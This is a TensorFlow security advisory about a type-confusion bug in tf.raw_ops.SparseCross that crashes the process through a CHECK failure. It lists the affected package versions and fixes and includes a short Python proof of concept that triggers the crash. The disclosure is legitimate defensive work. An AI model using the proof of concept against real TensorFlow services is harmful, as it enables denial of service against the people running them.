GHSA-772j-h9xw-ffp5 CHECK-fail in SparseCross due to type confusion

• PyPI tensorflow: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-cpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-cpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-cpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-cpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-gpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-gpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-gpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-gpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2

Impact The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service: ```python import tensorflow as tf hashed_output = False num_buckets = 1949315406 hash_key = 1869835877 out_type = tf.string internal_type = tf.string indices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64) indices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64) indices = [indices_1, indices_2] values_1 = tf.constant([0], dtype=tf.int64) values_2 = tf.constant([72], dtype=tf.int64) values = [values_1, values_2] batch_size = 4 shape_1 = tf.constant([4, 122], dtype=tf.int64) shape_2 = tf.constant([4, 188], dtype=tf.int64) shapes = [shape_1, shape_2] dense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64) dense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64) dense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64) denses = [dense_1, dense_2, dense_3] tf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output, num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type) ``` The above code will result in a `CHECK` fail in `tensor.cc`: ```cc void Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const { CHECK_EQ(dtype(), expected_dtype) ().data()[start + n]); return values_.vec().data()[start + n]; ``` Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue. Patches We have patched the issue in GitHub commit b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.